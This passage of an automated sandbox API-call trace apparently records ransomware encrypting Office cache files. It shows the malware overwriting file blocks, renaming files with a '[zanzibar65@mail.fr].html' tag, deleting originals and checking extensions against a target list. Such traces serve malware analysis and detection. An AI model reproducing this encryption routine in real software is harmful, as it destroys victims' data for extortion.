users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0045.012] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.012] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.013] ReadFile (in: hFile=0x204, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.024] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.024] ReadFile (in: hFile=0x204, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.033] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.033] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.033] ReadFile (in: hFile=0x204, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.223] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.223] WriteFile (in: hFile=0x204, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0045.240] SetEndOfFile (hFile=0x204) returned 1 [0045.241] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0045.244] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.244] WriteFile (in: hFile=0x204, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.246] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.246] WriteFile (in: hFile=0x204, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.250] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.250] WriteFile (in: hFile=0x204, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.252] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0045.252] CloseHandle (hObject=0x204) returned 1 [0045.253] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.253] lstrlenW (lpString=".doc") returned 4 [0045.253] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.253] lstrlenW (lpString=".docx") returned 5 [0045.253] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.253] lstrlenW (lpString=".pdf") returned 4 [0045.253] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.253] lstrlenW (lpString=".xls") returned 4 [0045.253] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.253] lstrlenW (lpString=".xlsx") returned 5 [0045.253] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.253] lstrlenW (lpString=".ppt") returned 4 [0045.253] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.253] lstrlenW (lpString=".zip") returned 4 [0045.253] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.253] lstrlenW (lpString=".rar") returned 4 [0045.253] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.253] lstrlenW (lpString=".bz2") returned 4 [0045.253] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.254] lstrlenW (lpString=".7z") returned 3 [0045.254] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.254] lstrlenW (lpString=".dbf") returned 4 [0045.254] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.254] lstrlenW (lpString=".1cd") returned 4 [0045.254] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.254] lstrlenW (lpString=".jpg") returned 4 [0045.254] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.254] lstrlenW (lpString=".doc") returned 4 [0045.254] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.254] lstrlenW (lpString=".docx") returned 5 [0045.254] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.254] lstrlenW (lpString=".pdf") returned 4 [0045.254] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.254] lstrlenW (lpString=".xls") returned 4 [0045.254] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.254] lstrlenW (lpString=".xlsx") returned 5 [0045.254] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.254] lstrlenW (lpString=".ppt") returned 4 [0045.254] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.254] lstrlenW (lpString=".zip") returned 4 [0045.254] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.254] lstrlenW (lpString=".rar") returned 4 [0045.254] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.254] lstrlenW (lpString=".bz2") returned 4 [0045.254] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.254] lstrlenW (lpString=".7z") returned 3 [0045.254] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.255] lstrlenW (lpString=".dbf") returned 4 [0045.255] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.255] lstrlenW (lpString=".1cd") returned 4 [0045.255] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0045.255] lstrlenW (lpString=".jpg") returned 4 [0045.255] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.255] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0045.255] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0045.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0045.255] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=868864) returned 1 [0045.255] CloseHandle (hObject=0x204) returned 1 [0045.255] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0045.255] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0045.256] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.256] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0045.256] GetLastError () returned 0x0 [0045.256] ReadFile (in: hFile=0x204, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0045.465] WriteFile (in: hFile=0x1d8, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0045.481] ReadFile (in: hFile=0x204, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.481] WriteFile (in: hFile=0x1d8, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.481] SetEndOfFile (hFile=0x1d8) returned 1 [0045.481] CloseHandle (hObject=0x1d8) returned 1 [0045.482] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.482] SetEndOfFile (hFile=0x204) returned 1 [0046.163] CloseHandle (hObject=0x204) returned 1 [0046.163] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.163] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0046.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.163] lstrlenW (lpString=".doc") returned 4 [0046.163] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.163] lstrlenW (lpString=".docx") returned 5 [0046.163] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0046.163] lstrlenW (lpString=".pdf") returned 4 [0046.163] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.164] lstrlenW (lpString=".xls") returned 4 [0046.164] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.164] lstrlenW (lpString=".xlsx") returned 5 [0046.164] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0046.164] lstrlenW (lpString=".ppt") returned 4 [0046.164] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.164] lstrlenW (lpString=".zip") returned 4 [0046.164] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.164] lstrlenW (lpString=".rar") returned 4 [0046.164] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.164] lstrlenW (lpString=".bz2") returned 4 [0046.164] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.164] lstrlenW (lpString=".7z") returned 3 [0046.164] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.164] lstrlenW (lpString=".dbf") returned 4 [0046.164] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.164] lstrlenW (lpString=".1cd") returned 4 [0046.164] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.164] lstrlenW (lpString=".jpg") returned 4 [0046.164] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.164] lstrlenW (lpString=".doc") returned 4 [0046.164] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.164] lstrlenW (lpString=".docx") returned 5 [0046.164] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0046.164] lstrlenW (lpString=".pdf") returned 4 [0046.164] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.165] lstrlenW (lpString=".xls") returned 4 [0046.165] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.165] lstrlenW (lpString=".xlsx") returned 5 [0046.165] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0046.165] lstrlenW (lpString=".ppt") returned 4 [0046.165] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.165] lstrlenW (lpString=".zip") returned 4 [0046.165] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.165] lstrlenW (lpString=".rar") returned 4 [0046.165] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.165] lstrlenW (lpString=".bz2") returned 4 [0046.165] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.165] lstrlenW (lpString=".7z") returned 3 [0046.165] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.165] lstrlenW (lpString=".dbf") returned 4 [0046.165] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.165] lstrlenW (lpString=".1cd") returned 4 [0046.165] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0046.165] lstrlenW (lpString=".jpg") returned 4 [0046.165] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.165] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0046.165] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0046.165] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.166] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=36233052) returned 1 [0046.166] CloseHandle (hObject=0x204) returned 1 [0046.166] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0046.166] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.166] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0046.166] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0046.167] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.167] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.167] ReadFile (in: hFile=0x204, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.173] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.173] ReadFile (in: hFile=0x204, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.176] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.176] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.176] ReadFile (in: hFile=0x204, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.191] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.192] WriteFile (in: hFile=0x204, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.492] SetEndOfFile (hFile=0x204) returned 1 [0046.492] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0046.492] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.492] WriteFile (in: hFile=0x204, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.493] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.493] WriteFile (in: hFile=0x204, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.494] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.494] WriteFile (in: hFile=0x204, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.495] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0046.496] CloseHandle (hObject=0x204) returned 1 [0046.496] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.496] lstrlenW (lpString=".doc") returned 4 [0046.496] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.496] lstrlenW (lpString=".docx") returned 5 [0046.496] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0046.496] lstrlenW (lpString=".pdf") returned 4 [0046.496] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.496] lstrlenW (lpString=".xls") returned 4 [0046.496] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.496] lstrlenW (lpString=".xlsx") returned 5 [0046.496] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0046.496] lstrlenW (lpString=".ppt") returned 4 [0046.496] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.496] lstrlenW (lpString=".zip") returned 4 [0046.496] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.496] lstrlenW (lpString=".rar") returned 4 [0046.497] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString=".bz2") returned 4 [0046.497] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.497] lstrlenW (lpString=".7z") returned 3 [0046.497] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.497] lstrlenW (lpString=".dbf") returned 4 [0046.497] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.497] lstrlenW (lpString=".1cd") returned 4 [0046.497] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0046.497] lstrlenW (lpString=".jpg") returned 4 [0046.497] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.497] lstrlenW (lpString="C:\\MSOCache\\All 